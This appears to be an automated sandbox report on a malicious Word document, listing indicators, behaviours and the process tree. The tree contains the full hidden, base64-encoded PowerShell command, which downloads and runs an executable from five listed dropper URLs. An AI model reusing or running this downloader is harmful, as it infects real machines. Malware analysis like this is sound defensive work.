Analysis
-
max time kernel
26s -
resource
win10v191014 -
submitted
13-12-2019 10:19
General
-
Target
b51f5f43cde0b66649b6e5371dc190b906941928fb32bb0d4160041d88f67781.doc
-
Sample
191213-kp4pkxhsca
-
SHA256
b51f5f43cde0b66649b6e5371dc190b906941928fb32bb0d4160041d88f67781
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://birdlandonetoone.com/blogs/xth90m/
exe.dropper
http://generalpro.com/_private/a/
exe.dropper
http://kuznetsov.ca/thumbs/y/
exe.dropper
http://horal.sk/2016/YO/
exe.dropper
http://indrikov.com/in_velox_libertas/bj/
Signatures
-
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4924 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 3316 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4924 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4924 WINWORD.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exedescription pid process target process PID 4384 wrote to memory of 3984 4384 SppExtComObj.exe SLUI.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 3316 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b51f5f43cde0b66649b6e5371dc190b906941928fb32bb0d4160041d88f67781.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4924
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:3984
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABHAGMAZQB6AHIAdwBwAGIAZQByAD0AJwBFAGsAbQBlAGcAbwBnAGMAeQBpAGQAYgAnADsAJABRAG4AZABoAGYAdQB1AGEAIAA9ACAAJwAxADUAMgAnADsAJABHAGUAeAB6AG0AYwBuAGIAegByAGIAPQAnAE4AbwB4AGsAcwB2AGkAcwB1AGIAJwA7ACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbgBkAGgAZgB1AHUAYQArACcALgBlAHgAZQAnADsAJABVAHUAbwB4AHkAYwB2AGsAZwA9ACcARwByAHYAcwByAGoAbQBtAGUAdgB2AHAAawAnADsAJABWAGcAYwB0AG8AYgBiAHIAaABnAHQAbABxAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAGMATABpAGUAbgB0ADsAJABYAG0AdQB0AGUAcwBvAGEAaAB5AD0AJwBoAHQAdABwADoALwAvAGIAaQByAGQAbABhAG4AZABvAG4AZQB0AG8AbwBuAGUALgBjAG8AbQAvAGIAbABvAGcAcwAvAHgAdABoADkAMABtAC8AKgBoAHQAdABwADoALwAvAGcAZQBuAGUAcgBhAGwAcAByAG8ALgBjAG8AbQAvAF8AcAByAGkAdgBhAHQAZQAvAGEALwAqAGgAdAB0AHAAOgAvAC8AawB1AHoAbgBlAHQAcwBvAHYALgBjAGEALwB0AGgAdQBtAGIAcwAvAHkALwAqAGgAdAB0AHAAOgAvAC8AaABvAHIAYQBsAC4AcwBrAC8AMgAwADEANgAvAFkATwAvACoAaAB0AHQAcAA6AC8ALwBpAG4AZAByAGkAawBvAHYALgBjAG8AbQAvAGkAbgBfAHYAZQBsAG8AeABfAGwAaQBiAGUAcgB0AGEAcwAvAGIAagAvACcALgAiAHMAcABMAGAASQB0ACIAKAAnACoAJwApADsAJABKAGkAeQB4AG0AZABrAHUAcwBpAHoAZAA9ACcARwBpAGUAZQBxAHIAcwB3AGMAcgBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGsAZQBjAHQAdQB0AG8AagAgAGkAbgAgACQAWABtAHUAdABlAHMAbwBhAGgAeQApAHsAdAByAHkAewAkAFYAZwBjAHQAbwBiAGIAcgBoAGcAdABsAHEALgAiAEQATwBgAHcAbgBsAE8AQQBgAEQAZgBpAGwAZQAiACgAJABPAGsAZQBjAHQAdQB0AG8AagAsACAAJABNAHkAYQBoAGMAdwBiAGsAaABkAHEAYwApADsAJABJAGoAegBmAGQAbgBmAHMAbQBsAGoAPQAnAFcAeABkAGsAcgBmAGwAeAB5AG4AcQBrACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAKQAuACIAbABlAE4AYABHAFQASAAiACAALQBnAGUAIAAzADUAMgAwADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQBSAFQAIgAoACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAKQA7ACQATgBnAGcAbgBlAG8AYgBrAD0AJwBWAHEAdgB3AHQAdwB2AGgAJwA7AGIAcgBlAGEAawA7ACQAVQB0AHIAegBkAHcAcgBrAHcAaQB1AGoAPQAnAEYAZwBmAHYAcwBmAHUAbgBrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcQBhAGUAcQB2AGQAeAB5AGcAdQBvAGgAPQAnAFgAcgBuAGsAaQBsAHYAcQBxACcA1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3316